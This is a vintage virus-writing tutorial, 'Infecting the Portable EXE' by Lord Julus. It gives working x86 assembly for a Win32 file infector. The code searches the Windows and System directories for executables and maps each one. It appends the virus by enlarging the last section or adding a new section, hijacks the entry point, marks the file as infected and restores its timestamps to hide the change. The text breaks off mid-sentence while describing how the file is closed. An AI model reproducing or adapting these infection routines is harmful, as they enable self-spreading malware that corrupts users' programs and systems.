Infecting the Portable EXE
by Lord Julus


                              D I S C L A I M E R
   The following document is a study. It's only purpose is to be used in    
   the virus research only. The author of this article is not responsible   
   for any misuse of the things written in this document. Most of the       
   things published here are already public and they represent what the     
   author gathered across the years.                                        
     The author is not responsible for the use of any of these information  
   in any kind of virus.                                                    
                               Lord Julus.                                  

 .------------.
 |  Foreword  |
 '------------'

        As  normal  as you could expect, after starting getting preocupied in
 Win32  programming,  my  first  approach  was on the 'getting into it' part,
 which  came  up  in  my article called 'Accessing Win32 APIS by scanning the
 import  tables'. The second part, which comes after the info-pe project, is,
 of course, a guide to appending to the PE file. Hope you will all enjoy this
 stuff...

       As a sidenote, I will use the same notation as in my last article:

              offset A<apiname>A = a pointer to the real api

       For example:

              mov eax, [ebp+AExitProcessA]
              call eax

       is  the same as:

              call ExitProcess

        I say this so you should understand that EBP is considered as a delta
 handle.

        For  many  people  the  following  article  might  look  a little bit
 confusing.  The  fact  is  that  if  you  know a little about programming in
 Win32,  a  little  about the PE header layout and a little about the PE file
 layout itself, everything I wrote here suddenly becomes very easy.


   .------------.
   |   Credits  |
   '------------'

        The  first and biggest credits go to Shaitan and Quantum. Most of the
 appending  code  here  is based on original ideas from the Win32.Shaitan and
 Win32.Bizatch  viruses. Due to some leaks in the api handling system the two
 viruses  are  harmless  and will not spread, but the appending method stands
 high.  I  have  improved  myself  the routines as much as I could and I sure
 hope you will understand it all...


   .------------.
   |   Basics   |
   '------------'

        Before  going  on the road of the asm I have to remind you again that
 this  tutorial  expects  you  to  have at least a minimum knoledge on the PE
 header.  If  you don't, go and read a book about it... you're gonna need it!
 Also,  I  expect you know a little on the Win32 programming. If you don't, I
 guess  there's no purpose to read this furthure (read my first Win32 article
 first)...
        I  will  use  the same method as my other article: I will explain the
 stuff,  then I will present you a full code that does the trick with all the
 explanations between blocks of instructions.

        Even if  this article does not intend to teach you the ways of Win32,
 I feel compelled to give you the least I can think of. So here goes:

     .--------------.
     | The Glossary |
     |              |
     |------------------------------------------------------------------.
     |    PE                |  Portable Executable File                 |
     |    PE header         |  Information on the PE file               |
     |    Section           |  Part of the PE file                      |
     |                      |  (The PE file is made up from more        |
     |                      |   consecutive sections)                   |
     |    Section Headers   |  Information on the PE section            |
     |    Image Base        |  The address the PE file is loaded at     |
     |                      |  execution                                |
     |    VA                |  Virtual Address                          |
     |    RVA               |  Relative Virtual Address                 |
     |    Raw Data          |  The actual data in the section           |
     |    Size of Raw Data  |  The actual section data length           |
     |    Virtual Size      |  The virtual size of the section          |
     |                      |  (is diffrent from the size of raw data   |
     |                      |  because it is aligned to the section     |
     |                      |  alignment)                               |
     |    Alignment         |  A number to which the section or the     |
     |                      |  file is aligned to                       |
     |    EntrypointRVA     |  The RVA of the entrypoint (where the     |
     |                      |  real code starts)                        |
     '------------------------------------------------------------------'

        As  you are probably used to, this article is almost complete for the
 topic,  but  I  will  illustrate the ways of appending to a PE file from the
 point  of  view  of  a directory scanning virus. This means that the article
 will  give you complete directions on how to look-up directories, find files
 and  infect them. However, the routines for PE file appending themselves can
 be used also in other kinds of viruses, like, for example w95 TSRs.

        So,  let's  set the goal: we want to open a Portable Exe (PE), append
 some  code  to  it and redirect the initial instruction point (IP) to it, so
 that  after  the execution of our code, it can jump to the original code and
 run it with no problems.

       Here are the two ways I will present here:

              1. Increasing the size of the last section
              2. Adding a new section

       But first, let's check the things common to both methods.


-----| Common area |---------------------------------------------------------------

        Here  I  will  describe  things  which  are common for both infection
 types.  First  let  me  say that I will fully describe the entire process of
 locating files and infecting them.

        Here  is  the  most common approach: your virus has found the kernel,
 has  located all the necesary apis and now, before returning to the original
 host's code, it has to do the infection:

      call Infect_directories           ; Infect the directories...
                                        ;
getout:                                 ;
      cmp ebp, 0                        ; first generation ?
      je exit_now                       ;
      mov eax, [ebp+offset oldip]       ; restore old IP
      add eax, imagebase                ; align to memory
      jmp eax                           ; and run host...
                                        ;
exit_now:                               ;
      push 0                            ;
      call ExitProcess                  ;

        As  you  can  see, the returning to the host is very easy! You simply
 retrieve  the  saved value from oldip, you add the image base where the host
 is loaded and you make a JMP to it...

     .----------------------.
-----| Changing directories |--------------------------------------------------
     '----------------------'

        Let's  take  a  look  at  the simplest way to scan the directories in
 order to locate PE files. Here are the apis we shall use:

       GetWindowsDirectoryA
       GetSystemDirectoryA
       GetCurrentDirectoryA
       SetCurrentDirectoryA

       The first two functions expect this:

              push <size>
              push <offset to empty buffer>

        The  <size>  is  the maximum length expected for the returned string.
 The buffer is a space where the name of the directory will be returned.

        For  the  third  function  (GetCurrentDirectoryA),  even  if  it does
 exactly  the same type of job as the other two, it expects the parameters in
 the reverse order:

              push <offset to empty buffer>
              push <size>

       Usualy <size> equals 128h.

        The  SetCurrentDirectory  function  expects on the stack a pointer to
 the new directory:

              push <offset new directory>

        I will not discuss the error messages here.

        Let's  look  at  a common way of locating and changing to the Windows
 and the System directories and then returning to the original directory:

Infect_directories proc near
       push  128                          ; Get Windows directory
       lea eax, [ebp+offset windir]       ;
       push eax                           ;
       mov eax, [ebp+offset AGetWindowsDirectoryA]
       call eax                           ;
                                          ;
       push  128                          ; Get System directory
       lea eax, [ebp+offset sysdir]       ;
       push eax                           ;
       mov eax, [ebp+offset AGetSystemDirectoryA]
       call eax                           ;
                                          ;
       lea eax, [ebp+offset crtdir]       ; Get Current directory
       push eax                           ;
       push 128                           ;
       mov eax, [ebp+offset AGetCurrentDirectoryA]
       call eax                           ;
                                          ;
       lea eax, [ebp+offset windir]       ;  Change to Windows directory
       push eax                           ;
       mov eax, [ebp+offset ASetCurrentDirectoryA]
       call eax                           ;

        So,  we  are  in  the  Windows  directory now... Let's set a level of
 infection and call the directory infection routine:

       mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
       call infect_current_dir            ;
                                          ;
       lea eax, [ebp+offset sysdir]       ; Change to System directory
       push eax                           ;
       mov eax, [ebp+offset ASetCurrentDirectoryA]
       call eax                           ;

       The same thing goes for the System directory:

       mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
       call infect_current_dir            ;

       Now let's return  to the original current directory:

       lea eax, [ebp+offset crtdir]       ; Change back to current directory
       push eax                           ;
       mov eax, [ebp+offset ASetCurrentDirectoryA]
       call eax                           ;
       ret                                ;
Infect_directories endp                   ;

       Here are the definitions used in the above procedure:

       windir db 128h dup(0)             ; Windows directory
       sysdir db 128h dup(0)             ; System directory
       crtdir db 128h dup(0)             ; Current directory

        Ok,  now  we  know  how to change directories. The above thing is the
 least  your  virus  should  do. In order to make a more sophisticated virus,
 you   need  to  make  a  smart  attack. This includes droping over very used
 files,  like CLIPBRD.EXE, CALC.EXE, MSHEARTS.EXE, etc., doing back directory
 scan,  using  smart marks in the registry... But this will be all covered in
 the next article (called 'Playing w/ the Registry', probably)...

     .---------------.
-----| Finding Files |--------------------------------------------------------
     '---------------'

        This  procedure  (infect_current_dir)  is called whenever a directory
 needs  to be infected. The number of files searched in the current directory
 is equal to the 'infections' variable set before calling this procedure.

       Let's see what apis shall we use in this stage:

       FindFirstFileA
       FindNextFileA

       The FindFirstFileA expects this:

              push <offset search_record>
              push <offset search_match>

        The  search  record  is an empty buffer which will be filled with the
 appropiate values if the searched file is found.

       The search_match is a pointer to a string, like this for example:

              exestr db "*.exe",0

        Using  this,  the FindFirst api will search for any file with the EXE
 extension.

        The search record has a special layout. Here is how you should define
 it:

 max_path EQU 260                                  ; max length of filename
                                                   ;
 filetime                        STRUC             ; filetime structure
         FT_dwLowDateTime        DD ?              ;
         FT_dwHighDateTime       DD ?              ;
 filetime                        ENDS              ;
                                                   ;
 win32_find_data                 STRUC             ;
         FileAttributes          DD ?              ; attributes
         CreationTime            filetime ?        ; time of creation
         LastAccessTime          filetime ?        ; last access time
         LastWriteTime           filetime ?        ; last modificationm
         FileSizeHigh            DD ?              ; filesize
         FileSizeLow             DD ?              ; -"-
         Reserved0               DD ?              ;
         Reserved1               DD ?              ;
         FileName                DB max_path DUP (?) ; long filename
         AlternateFileName       DB 13 DUP (?)     ; short filename
                                 DB 3 DUP (?)      ; dword padding
 win32_find_data                 ENDS              ;
                                                   ;
 search    win32_find_data ?                       ; our search area

        If  the function succeds, a file handle is returned in EAX and by all
 means  you  have  to  save it! And that is needed because the next function,
 FindNextFileA needs it. Before calling it you should do this:

              push <offset search_record>
              push handle

        If  no  file  is  found, EAX=0h, otherwise a new handle is put in EAX
 and the search record is filled with the new values.

       Ok, now as you know how it works, let's see the full example:

infect_current_dir proc near              ; This infects the current dir
      lea edi, [ebp+offset search]        ; point to Search Record
      lea eax, [ebp+offset search]        ; "    "      "      "
      push eax                            ; push the address of the s_record
      lea eax, [ebp+offset exestr]        ;
      push eax                            ; push the address of file mask
      mov eax, [ebp+offset AFindFirstFileAA]
      call eax                            ; find first matching file

      If no file was found, EAX=0FFFFFFFFh, otherwise EAX=new handle...

      inc eax                             ; check for EAX = -1
      jz no_files                         ;
      dec eax                             ; restore eax
      push eax                            ; save handle
      lea esi, [edi.FileName]             ; ESI = pointer to filename...
      mov ecx, [edi.FileSizeLow]          ; ECX = filesize

        I  used edi. because edi pointed to the search record structure. Now,
 esi  points to the file name and ecx holds the file's size. It's all that we
 need to infect it...

      Call Infect_File                    ; infect file...

        A  description  of  this  procedure  follows  below.  If the file was
 infected  correctly, the carry is cleared otherwise it's set. If it's clear,
 then we decrease the number of already done infections.

      jc Another_file                     ;
      dec dword ptr [ebp+offset infections] ; decrement infection count

      Here we are about to start the FindNext routine:

Another_file:                             ;
      push edi                            ; save search record address
      lea edi, [edi.FileName]             ; We have to clean up the area
      mov ecx, 13d                        ; the new filename will appear on,
      mov al, 0                           ; otherwise shit remains before the
      rep stosb                           ; extension...
      pop edi                             ; restore search record address
      pop eax                             ; restore file handle
      push eax                            ; and save it again
      push edi                            ; push find zone
      push eax                            ; push handle
      mov eax, [ebp+offset AFindNextFileAA]
      call eax                            ; and find the next matching file
                                          ;
      test eax, eax                       ; no more files ?
      jz All_done                         ;
      lea esi, [edi.FileName]             ; ESI = pointer to filename...
      mov ecx, [edi.FileSizeLow]          ;
      Call Infect_File                    ; infect file...
      jc failinfection                    ;
      dec dword ptr [ebp+infections]      ; decrement infection count
                                          ;
failinfection:                            ;
      cmp dword ptr [ebp+infections], 0   ; done ?
      jne Another_file                    ;
                                          ;
All_done:                                 ;
      pop eax                             ;
no_files:                                 ;
      ret                                 ;
infect_current_dir endp                   ;

        So,  basically  I  guess you understood this. It's no big philosophy.
 Just  search  for  the  first  matching file (exe, dll, etc...) and call the
 infecting  procedure,  then  try  to  locate another file, all until no more
 files are to be found or the maximum number of infections was met.

        Now,  let's see what can we do after we located the file we wanted in
 the  current  directory.  Remember  that ESI points to the file name and ECX
 holds the file's length...


     .------------------------------.
-----| Opening and mapping the file |-----------------------------------------
     '------------------------------'

        Under Win32, it is extremly easy to manipulate files. The method used
 is  the  mapping.  By  mapping  you should understand this: a memory area is
 allocated  and  the  entire  file  is mapped there. This means that you work
 directly  into  memory  and everything that you do there is reflected in the
 physical  file  also.  All the relative addresses inside the file start from
 the  address of the map. Here you must be very attentive not to mix the file
 handle with the map handle.

       Let's start:

Infect_File Proc Near
      pushad                                 ; save all registers
                                             ;
      mov dword ptr [ebp+newfilesize], ecx   ; save file size
      mov word ptr [ebp+infectionflag], 0    ; reset infection flag
      add ecx, viruslen                      ; ecx = victim filesize + virus
      add ecx, 1000h                         ; + 1000h
      mov [ebp+offset memory], ecx           ; this will give us the memory
                                             ; to map...

        When mapping a file we need an amount of memory equal to the original
 file  plus  the  virus  length  which will be appended, plus some extra work
 space. If you don't allocate enough memory for the map, when trying to write
 over  the  boundaries  of  the map, the virus will generate an invalid fault
 page.

      Let's check the apis we use here more detailed:

------------------------------------------------------------------------------

     .--------------------.
   .-| GetFileAttributesA |
   | '--------------------'
   |--------> expects:      push <offset filename>
   |
   '--------< returns:      EAX = file attributes

------------------------------------------------------------------------------

     .--------------------.
   .-| SetFileAttributesA |
   | '--------------------'
   |--------> expects:      push <new attributes>
   |                        push <offset filename>
   |
   '--------< returns:      nothing

       The used value for <new attributes> is 80h, meaning 'any file'.

------------------------------------------------------------------------------

     .-------------.
   .-| CreateFileA |
   | '-------------'
   |
   |--------> expects:      push <file template handle>
   |                        push <file attributes>
   |                        push <open type>
   |                        push <security option>
   |                        push <sharing mode>
   |                        push <access mode>
   |                        push <offset filename>
   |
   '--------< returns:      EAX = file handle if success
                            EAX = 0 if failed

        As  much  as the name sounds like it only creates new files, this api
 is very useful and can also be used to open files. Here are the descriptions
 for the arguments:

       <file template handle> MUST be 0 for Windows95!
       <file attributes> should be 0 (any file)
       <open type> should be 3 (open existing file)
       <security option> should be 0 (default)
       <sharing mode> should be 1 (file shared for read)
       <access mode> should be (80000000h + 40000000h) (generic read/write)

------------------------------------------------------------------------------

     .--------------.
   .-| GetFileTimeA |
   | '--------------'
   |--------< expects:      push <offset creation_time>
   |                        push <offset last_write_time>
   |                        push <offset last_access_time>
   |                        push <file handle>
   |
   '--------< returns:      at the specified offsets the 3 types of time

------------------------------------------------------------------------------

     .--------------.
   .-| GetFileSizeA |
   | '--------------'
   |--------> expects:      push <offset filesize>
   |                        push <filehandle>
   |
   '--------< returns:      filesize at the specified offset

        Warning:  you need to have a dword as the filesize, but when you push
 the offset you push the offset of it's high word.

------------------------------------------------------------------------------

     .--------------------.
   .-| CreateFileMappingA |
   | '--------------------'
   |--------> expects:      push <filename handle>
   |                        push <maximum size>
   |                        push <minimum size>
   |                        push <page access rights>
   |                        push <security attributes>
   |
   '--------< returns:      EAX = map handle if success
                            EAX = 0 if failed

       <filename handle> must be 0
       <maximum size> is the 'memory' value we computed earlier
       <minimum size> is 0
       <page access rights> should be 4 (page read/write)
       <security attributes> should be 0 (default)

        So, basically this allocates a memory area equal to 'memory', serving
 to be filled with a file, job done by the next api:

------------------------------------------------------------------------------

     .---------------.
   .-| MapViewOfFile |
   | '---------------'
   |--------> expects:      push <amount>
   |                        push <file offset high>
   |                        push <file offset low>
   |                        push <map access mode>
   |                        push <map handle>
   |
   '--------< returns:      EAX = the address of the map if success
                            EAX = 0 if failed

       <amount> equals the 'memory'
       <file offset high> and
       <file offset low> mark from where to map. Should be 0
       <map access mode> should be 2 (file map write)
       <map handle> the handle returned by CreateFileMapping

------------------------------------------------------------------------------

     .-----------------.
   .-| UnMapViewOfFile |
   | '-----------------'
   |--------> expects:      push <map address>
   |
   '--------< returns:      nothing

        This  frees  the  memory  of  the map. The map address is the address
 returned by MapViewOfFile.

------------------------------------------------------------------------------

     .-------------.
   .-| CloseHandle |
   | '-------------'
   |--------> expects:      push <handle>
   |
   '--------< returns:      nothing

        The  handle  can be anykind of handle. Therefor, we use this to close
 the  map  handle  first (returned by the CreateFileMapping) and then for the
 file itself (the file handle returned by CreateFileA).

------------------------------------------------------------------------------

     .----------------.
   .-| SetFilePointer |
   | '----------------'
   |--------> expects:      push <how to move>
   |                        push <distance to move high>
   |                        push <distance to move>
   |                        push <file handle>
   |
   '--------< returns:      nothing

       <how to move> is 0 (from beginning of file)
       <distance to move high> should be set to 0
       <distance to move> is the length of file
       <file handle> is the file handle

        Actually,  how I gave you the parameters, they are set as to move the
 file  pointer  to  the  end  of file. The distanceto move high is actually a
 pointer  to  a  value. If it's set to zero this function can only operate on
 files with the length 2^32.

------------------------------------------------------------------------------

     .--------------.
   .-| SetEndOfFile |
   | '--------------'
   |--------> expects:      push <file handle>
   |
   '--------< returns:      nothing

        Sets the EOF to the current position of the pointer. Used to truncate
 files.

------------------------------------------------------------------------------

     .-------------.
   .-| SetFileTime |
   | '-------------'
   |--------> expects:      push <offset creation_time>
   |                        push <offset last_write_time>
   |                        push <offset last_access_time>
   |
   '--------< returns:      nothing

------------------------------------------------------------------------------

        I know that maybe reading the description of the apis like this might
 be  a  little  confunsing, but as we will look over the code itself you will
 understand  better. Then you may look back on the description and understand
 better.  What  I forgot to say is that all of the above apis return 0 in EAX
 if an error occured and CF is set, so it's very easy to check for errors.

       Ok, now let's go on with the code:

    + First let's save the original attributes:

      mov [ebp+offset fileofs], esi          ; esi = pointer to filename
      push esi                               ; save it
      mov eax, [ebp+AGetFileAttributesA]     ;
      call eax                               ; Get the file attributes
      cmp eax, 0                             ;
      mov [ebp+fileattributes], eax          ; save them

    + Now let's set the 'any file' attribute:

      push 80h                               ;
      push esi                               ;
      mov eax, [ebp+offset ASetFileAttributesA]
      call eax                               ; set them to normal
                                             ;

    + Now let's open the file

      push 0                                 ; file template
      push 0                                 ; file attributes
      push 3                                 ; OPEN EXISTING File
      push 0                                 ; Security option = default
      push 1                                 ; File share for read
      push 80000000h or 40000000h            ; General write and read
      push esi                               ; pointer to filename
      mov eax, [ebp+offset ACreateFileA]     ;
      Call eax                               ; Call Api
                                             ; EAX = file handle
      mov [ebp+offset filehandle], eax       ;
      cmp eax, -1                            ;
      je infection_error                     ; can't open file ?!?

   + Let's save file's creation, last write, last access time

      mov ebx, offset ftcreation             ; save all 3 types of time
      add ebx, ebp                           ;
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      push eax                               ;
      mov ebx, [ebp+AGetFileTimeA]           ;
      call ebx                               ; get'em

    + Now let's get the filesize and save it for later:

      push 0                                 ; save the filesize for later
      push dword ptr [ebp+offset filehandle] ;
      mov eax, [ebp+AGetFileSizeA]           ;
      call eax                               ;
      mov dword ptr [ebp+offset newfilesize], eax

    + Let's go on and create the file mapping for the file:

      push 0                                 ; filename handle = NULL
      push dword ptr [ebp+offset memory]     ; max size
      push 0                                 ; min size (no need)
      push 4                                 ; Page read & write
      push 0                                 ; security attributes
      push dword ptr [ebp+offset filehandle]
      mov eax, [ebp+offset ACreateFileMappingA]
      call eax                               ; File map!
                                             ; Eax = new map handle
      mov [ebp+offset maphandle], eax        ;
      cmp eax, 0                             ;
      je close_file                          ; can't map file ?!?

    + If we have the map, let's map the view of the file:

      push dword ptr [ebp+offset memory]     ; bytes to map
      push 0                                 ; file offset
      push 0                                 ; "  " "    "
      push 2                                 ; File Map Write Mode
      push eax                               ; File Map Handle
      mov eax, [ebp+offset AMapViewOfFileA]  ; Call API
      call eax                               ;
                                             ;
      cmp eax, 0                             ;
      je close_map                           ; can't map view of file ?!?
      mov esi, eax                           ; ESI = base of map...
      mov [ebp+offset mapaddress], esi       ;

        We succeded! The file is opened and we can work on it knowing that it
 is  mapped at the ESI address. First let's check if it is EXE and if it is a
 PE file:

      cmp word ptr [esi], 'ZM'               ; Exe file ?
      jne Unmap_view                         ;
      cmp word ptr [esi+38h], 'xx'           ; Already infected ?
      jne ok_go                              ;
      mov word ptr [ebp+infectionflag], 0FFh ; mark it...
      jmp Unmap_view                         ;
                                             ;
ok_go:                                       ;
      mov ebx, dword ptr [esi+3ch]           ;
      cmp word ptr [esi+ebx], 'EP'           ; Portable Exe ?
      jne Unmap_view                         ;

        If  the  file is not EXE, is already infected or is not a PE file, we
 proceed to unmap the view of file, otherwise we continue:

      add esi, ebx                           ; ESI points to PE header
      mov [ebp+offset PEheader], esi         ;
      mov eax, [esi+28h]                     ; save IP of file
      mov [ebp+offset oldip], eax            ;

        The oldip value is the one we save and use for when we want to return
 to the original host.

      mov eax, [esi+3ch]                     ; save file alignement
      mov [ebp+offset filealign], eax        ;

        When  we  append  the virus to the PE file we increase it's size. But
 the  file  alignment must be preserved. The file alignment is a number which
 divides  the  file  size exactly (filesize mod filealign = 0), or at least I
 think it should, but it seems the OS doesn't give much shit about it...

      Starting  this  place,  you may  choose the first method, or the second
 method:


    .--------------------------------.
----| 1. Increasing the last section |----------------------------------------
    '--------------------------------'

        From  here  on, we must go specific. The following is the description
 of the first method of increasing the last section's body.

        Here  your knowledge of the PE header is really needed. First we want
 to locate the last section.

      mov ebx, [esi+74h]                     ; No. of directories entries
      shl ebx, 3                             ; * 8 (size)
      xor eax, eax                           ;
      mov ax, word ptr [esi+6h]              ; no. of sections
      dec eax                                ; we look for the last's ending
      mov ecx, 28h                           ; size of sections' header
      mul ecx                                ; EAX = ECX * EAX
      add esi, 78h                           ;
      add esi, ebx                           ;
      add esi, eax                           ; ESI = Pointer to the last
                                             ; section header

      The formula used is this:

      Address of the last section's header =
      (Directory Table) +
      (No. of Directories)*(Directory Size) +
      (No. of Sections - 1)*(Section header size)

      The Directory size is 8.
      The Section Header size is 28h.
      The pointer to the Directory Table is 78h.

        So,  after the calculations, ESI points to the last section's header.
 Let's start modifying it:

      or dword ptr [esi+24h],00000020h       ; Set [CWE] flags: code,
      or dword ptr [esi+24h],20000000h       ;                  executable,
      or dword ptr [esi+24h],80000000h       ;                  writable

        The  flags  are very important. They tell the loader that the section
 now has executable code and it is writable.

      mov eax, [esi+10h]                     ; save size of raw data in
      mov [ebp+offset oldrawsize], eax       ; this section
      add dword ptr [esi+8h], viruslen       ; and increase virtual size

        The  size  of raw data is the actual size of the data in the section.
 The  virtual  size  is  the  one  we must increase with our virus size. Now,
 after the increasing, let's check how much did we mess the file align. To do
 that  we  divide  the  new  size  to  the  filealign  value  and we get as a
 reminder the number of bytes to pad:

      mov eax, [esi+8h]                      ; Get new size in EAX
      mov ecx, [ebp+offset filealign]        ; ECX = File alignment
      div ecx                                ; Get remainder in EDX
      mov ecx, [ebp+offset filealign]        ; ECX = File alignment
      sub ecx, edx                           ; No. of bytes to pad...
      mov [esi+10h], ecx                     ; "     "       "       "

      Now size of raw data = no.of bytes to pad

      mov eax, [esi+8h]                      ; Get current VirtualSize
      add eax, [esi+10h]                     ; EAX = SizeOfRawdata padded
      mov [esi+10h], eax                     ; Set new SizeOfRawdata

      Now size of raw data = old virtual size + no. of bytes to pad

      mov [ebp+offset newrawsize], eax       ; Also, save it...

        The  virus  will  be at the end of the section. In order to find it's
 address we have the formula:

       VirtualAddress + VirtualSize - VirusLength = VirusStart

      mov eax, [esi+0ch]                     ; Get VirtualAddress
      add eax, [esi+8h]                      ; Add VirtualSize
      sub eax, viruslen                      ; Deduct size of virus
      mov [ebp+offset newip], eax            ; EAX = New EIP! Save it...

      Here we compute with how much did we increase the size of raw data:

      mov eax, [ebp+offset oldrawsize]       ; Original SizeOfRawdata
      mov ebx, [ebp+offset newrawsize]       ; New SizeOfRawdata
      sub ebx, eax                           ; Increase in size
      mov [ebp+offset incrawsize], ebx       ; Save increase value...

      Compute the new file size:

      mov eax, [esi+14h]                     ; File offset of sec's rawdata
      add eax, [ebp+offset newrawsize]       ; Add size of new rawdata
      mov [ebp+offset newfilesize], eax      ; EAX = New filesize! Save...

      Now prepare to copy the virus to the host. The formulas are:

      Address to copy to = Map Address +
                           Last Section Address +
                           Last Section Virtual Size -
                           Virus Length

      Address to copy from = the start

      mov eax, [esi+14h]                     ; File offset of sec's rawdata
      add eax, [esi+8h]                      ; Add VirtualSize of section
      sub eax, viruslen                      ; Deduct virus length from it
      add eax, [ebp+offset mapaddress]       ; align in memory to map address
                                             ;
      mov edi, eax                           ; Location to copy to...
      mov esi, offset start                  ; Location to copy from...
      add esi, ebp                           ; Adjust with delta pointer
      mov ecx, viruslen                      ; No. of bytes to copy
      rep movsb                              ; Copy all the bytes!

        Now,  let's  alter  furthur  the  PE  header,  by marking the new IP,
 increasing  the  total  size  of the files' image with the increasing of the
 last section:

      mov esi, [ebp+offset PEheader]         ; ESI = Addr. of PE header
      mov eax, [ebp+offset newip]            ; Get value of new EIP in EAX
      mov [esi+28h], eax                     ; Write it to the PE header
      mov eax, [ebp+offset incrawsize]       ; Get inc. size of last section
      add [esi+50h], eax                     ; Add it to SizeOfImage

      Now, let's mark the file as infected:

      mov esi, [ebp+offset mapaddress]       ; mark file as infected
      mov word ptr [esi+38h], 'xx'           ;

      That's it !!!

        That's  all  about  appending to the last section. Let's make a quick
 review of what we did and how:

       ù locate PE header
       ù locate Directory Table at 78h
       ù locate last section's header address
       ù increase the size of raw data
       ù increase the virtual size
       ù append the virus to the end
       ù locate the new IP
       ù mark the new IP
       ù increase the size of image

       That's all ! Now all you have to do is read the closing procedures...


    .-------------------------.
----| 2. Adding a new section |-----------------------------------------------
    '-------------------------'


        Now, let's go on with the second method.
        Let's keep in mind that ESI was pointing to the PE header, and let me
 tell  you  that  as  weare  going  to  create a new section, we need to also
 retrieve the section align, like this:

       mov eax, [esi+38h]
       mov dword ptr [ebp + sectionalign], eax

        Here is the layout used for the new section. The name field must be 8
 characters  long  and  you  may put anything you want in there. Take peak to
 some common files. You may also set this to your virus name, for example...

        newsection:                       ;
        nsname           db ".section"    ; section name
        nsvirtualsize    dd 0             ; Virtual Size
        nsRVA            dd 0             ; Relative Virtual Size
        nsphysicalsize   dd 0             ; = Size Of Raw Data
        nsphysicaloffset dd 0             ; = Pointer to Size of Raw Data
        nsreserved       dd 0,0,0         ; reserved
        nsflags db 40h,0,0,0c0h           ; = Code, Executable, Writable


    + Let's locate the end of the last section's header:

      mov ebx, [esi+74h]                     ; No. of directories entries
      shl ebx, 3                             ; * 8 (size)
      xor eax, eax                           ;
      mov ax, word ptr [esi+6h]              ; no. of sections
      mov ecx, 28h                           ; size of sections' header
      mul ecx                                ; EAX = ECX * EBX
      add esi, 78h                           ;
      add esi, ebx                           ;
      add esi, eax                           ; ESI = Pointer to the end of
                                             ; the last section
      lea edi, [ebp + offset newsection]     ;
      xchg edi, esi                          ;

        Now,  EDI points to the end of the last section and ESI points to the
 new  section layout. Let's start calculating the new values for this section
 header.  The  values are calculated using the last sections' values and they
 are rounded accordingly to the section alignment:

    + Calculate the Relative Virtual Address (RVA) of the new section:

      mov eax, [edi-5*8+8d]                           ; get last sect.'s RVA
      add eax, [edi-5*8+12d]                          ; + last sect.'s size
      mov ecx, dword ptr [ebp + offset sectionalign]  ; take section align
      xor edx,edx                                     ;
      div ecx                                         ;
      inc eax                                         ; and make sure RVA
      mul ecx                                         ; is aligned to it
      mov dword ptr [ebp + offset nsRVA], eax         ; Got it !

    + Calculate the physical size of the new section:

      mov ecx, dword ptr [ebp + offset filealign]     ; take file alignment
      mov eax,end-start                               ; eax = virus size
      xor edx,edx                                     ;
      div ecx                                         ;
      inc eax                                         ; make sure the new
      mul ecx                                         ; section respects file
      mov dword ptr [ebp + offset nsphysicalsize],eax ; alignment

    + Calculate the virtual size of the new section:

      mov ecx, dword ptr [ebp + offset sectionalign]  ; we must align again
      mov eax, end - start + 1000h                    ; virus size + work
      xor edx, edx                                    ; space
      div ecx                                         ;
      inc eax                                         ;
      mul ecx                                         ;
      mov dword ptr [ebp + offset nsvirtualsize],eax  ;

    + Calculate the physical offset of the new section:

      mov eax,[edi-5*8+20d]                           ; The last section's
      add eax,[edi-5*8+16d]                           ; pointer to raw data
      mov ecx,dword ptr [ebp + offset filealign]      ; + it's size of raw
      xor edx,edx                                     ; data, aligned to the
      div ecx                                         ; file alignment
      inc eax                                         ;
      mul ecx                                         ;
      mov dword ptr [ebp + offset nsphysicaloffset],eax

    + Update the image size (the size in memory) of the file:

      mov eax, end-start+1000h                        ; virus size + work
      add eax,dword ptr [ebp + offset imagesize]      ; space
      mov ecx,[ebp + offset sectionalign]             ; and, of course,
      xor edx,edx                                     ; aligned to the
      div ecx                                         ; section align
      inc eax                                         ;
      mul ecx                                         ;
      mov dword ptr [ebp + offset imagesize],eax      ; save it in PE header

    + Copy the new section after the last section header:

      mov ecx,10
      rep movsd

        You  may  ask  why I can write directly, without making space for the
 new  section, by lowering everything downwards? That's easy: there is always
 space for at least one new section header.

    + Now, let's save the new IP, and make it point to the virus:

      mov eax, dword ptr [ebp + offset nsRVA]
      mov dword ptr [ebp + newip], eax


    + Finally, let's copy our virus to the end of the file:

      mov edi, [ebp + offset nsphysicaloffset]   ; to the Raw Data Pointer
      add edi, [ebp + offset mapaddress]         ; (we are in a map!!)
      lea esi, [ebp + start]                     ; from the start
      mov ecx, (end-start)/4+2                   ; virus length
      cld                                        ; clear direction flag
      rep movsd                                  ; and copy

      Why   +2?  Just to make sure you don't loose the last bytes by dividing
 with 4.

    + And now, update the final changes in the PE header:

      mov esi, [ebp+offset PEheader]         ; ESI = Addr. of PE header
      inc word ptr [esi+06h]                 ; increment number of sections
      mov eax, [ebp+offset newip]            ; Get value of new EIP in EAX
      mov [esi+28h], eax                     ; Write it to the PE header
      mov eax, end-start                     ; compute new file size
      add [ebp + newfilesize], eax           ; this is needed in closing

      mov esi, [ebp+offset mapaddress]       ; mark file as infected
      mov word ptr [esi+38h], 'xx'           ;

        That's  it  !!!  Even  more  easy  than  the  first method... Now the
 original  file  has  a new section which contains code and which is actually
 the  virus  itself,  which  will  also  represent the starting IP. After the
 execution of the virus, the control in returned to the host.

        So, let's review:

        ù Find the last section's end
        ù Compute the new section's values
        ù Insert the new section's header
        ù Insert the new section body
        ù Update all fields in the PE header

        Nice and easy !!


        After mastering both of the appending methods, let's move over to the
 final step, the closing of the file.


     .------------------.
-----| Closing the file |-----------------------------------------------------
     '------------------'

        A  part  of  the  apis  used  here were described in the File Opening
 section.

    + The first thing is to unmap the view of the file:

Unmap_view:                                  ; first unmap the view
      push dword ptr [ebp+offset mapaddress] ;
      mov eax, [ebp+AUnmapViewOfFileA]       ;
      Call eax                               ;

    + The next step is to close the map handle:

close_map:                                   ;
      push dword ptr [ebp+offset maphandle]  ; then close the map handle
      mov eax, [ebp+ACloseHandleA]           ;
      call eax                               ;

    + Then we start closing the file. First, we must restore it's time:

close_file:                                  ; then close file handle,
      mov ebx, offset ftcreation             ; but first restore it's
      add ebx, ebp                           ; original date and time
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      push dword ptr [ebp+offset filehandle] ;
      mov ebx, [ebp+ASetFileTimeA]           ;
      call ebx                               ;

        In order to properly close the file we must set it's EOF at the exact
